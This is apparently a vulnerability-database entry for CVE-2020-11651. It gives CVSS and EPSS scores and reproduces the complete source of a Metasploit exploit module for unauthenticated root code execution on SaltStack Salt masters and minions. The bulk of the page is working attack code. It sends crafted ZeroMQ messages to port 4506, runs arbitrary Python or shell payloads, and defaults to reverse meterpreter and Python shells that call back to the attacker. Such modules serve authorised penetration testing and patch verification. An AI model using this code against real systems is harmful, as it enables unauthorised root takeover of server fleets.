9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%
This module exploits unauthenticated access to the runner() and _send_pub() methods in the SaltStack Salt master’s ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to execute code as root on either the master or on select minions. VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities. Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub’s Docker image.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::ZeroMQ
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
'Description' => %q{
This module exploits unauthenticated access to the runner() and
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
by the Salt vulnerabilities.
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
well as Vulhub's Docker image.
},
'Author' => [
'F-Secure', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-11651'], # Auth bypass (used by this module)
['CVE', '2020-11652'], # Authed directory traversals (not used here)
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
],
'DisclosureDate' => '2020-04-30', # F-Secure advisory
'License' => MSF_LICENSE,
'Platform' => ['python', 'unix'],
'Arch' => [ARCH_PYTHON, ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
'Master (Python payload)',
{
'Description' => 'Executing Python payload on the master',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_https'
}
}
],
[
'Master (Unix command)',
{
'Description' => 'Executing Unix command on the master',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Minions (Python payload)',
{
'Description' => 'Executing Python payload on the minions',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_https'
}
}
],
[
'Minions (Unix command)',
{
'Description' => 'Executing Unix command on the minions',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# cmd/unix/reverse_python_ssl crashes in this target
'PAYLOAD' => 'cmd/unix/reverse_python'
}
}
]
],
'DefaultTarget' => 0, # Defaults to master for safety
'DefaultOptions' => {
'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(4506),
OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),
OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])
])
register_advanced_options([
OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
])
end
# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key
def exploit
if target.name.start_with?('Master')
if (root_key = datastore['ROOT_KEY'])
print_status("User-specified root key: #{root_key}")
else
# check.reason is from auxiliary/gather/saltstack_salt_root_key
root_key = check.reason
end
unless root_key
fail_with(Failure::BadConfig,
"#{target['Description']} requires a root key")
end
end
# These are from Msf::Exploit::Remote::ZeroMQ
zmq_connect
zmq_negotiate
print_status("#{target['Description']}: #{datastore['PAYLOAD']}")
case target.name
when /^Master/
yeet_runner(root_key)
when /^Minions/
yeet_send_pub
end
# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
sleep(wfs_delay)
rescue EOFError, Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
ensure
# This is from Msf::Exploit::Remote::ZeroMQ
zmq_disconnect
end
def yeet_runner(root_key)
print_status("Yeeting runner() at #{peer}")
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
runner = {
'cmd' => 'runner',
# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
'fun' => 'salt.cmd',
'kwarg' => {
'hide_output' => true,
'ignore_retcode' => true,
'output_loglevel' => 'quiet'
},
'user' => 'root', # This is NOT the Unix user!
'key' => root_key # No JID needed, only the root key!
}
case target['Type']
when :python
vprint_status("Executing Python code: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
runner['kwarg'].merge!(
'fun' => 'cmd.exec_code',
'lang' => payload.arch.first,
'code' => payload.encoded
)
when :unix_cmd
# HTTPS doesn't appear to be supported by the server :(
print_status("Serving intermediate stager over HTTP: #{start_service}")
vprint_status("Executing Unix command: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
runner['kwarg'].merge!(
# cmd.run doesn't work due to a missing argument error, so we use this
'fun' => 'cmd.script',
'source' => get_uri,
'stdin' => payload.encoded
)
end
vprint_status("Unserialized clear load: #{runner}")
zmq_send_message(serialize_clear_load(runner))
unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive runner() response')
end
vprint_good("Received runner() response: #{res.inspect}")
end
def yeet_send_pub
print_status("Yeeting _send_pub() at #{peer}")
# NOTE: A unique JID (job ID) is needed for every published job
jid = generate_jid
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
send_pub = {
'cmd' => '_send_pub',
'kwargs' => {
'bg' => true,
'hide_output' => true,
'ignore_retcode' => true,
'output_loglevel' => 'quiet',
'show_jid' => false,
'show_timeout' => false
},
'user' => 'root', # This is NOT the Unix user!
'tgt' => datastore['MINIONS'],
'tgt_type' => 'pcre',
'jid' => jid
}
case target['Type']
when :python
vprint_status("Executing Python code: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
send_pub.merge!(
'fun' => 'cmd.exec_code',
'arg' => [payload.arch.first, payload.encoded]
)
when :unix_cmd
vprint_status("Executing Unix command: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
send_pub.merge!(
'fun' => 'cmd.run',
'arg' => [payload.encoded]
)
end
vprint_status("Unserialized clear load: #{send_pub}")
zmq_send_message(serialize_clear_load(send_pub))
unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
end
vprint_good("Received _send_pub() response: #{res.inspect}")
# NOTE: This path will likely change between platforms and distros
register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
end
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
def generate_jid
DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
end
# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
def stager_instance
nil
end
# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
def exe
# NOTE: The shebang line is necessary in this case!
<<~SHELL
#!/bin/sh
/bin/sh
SHELL
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%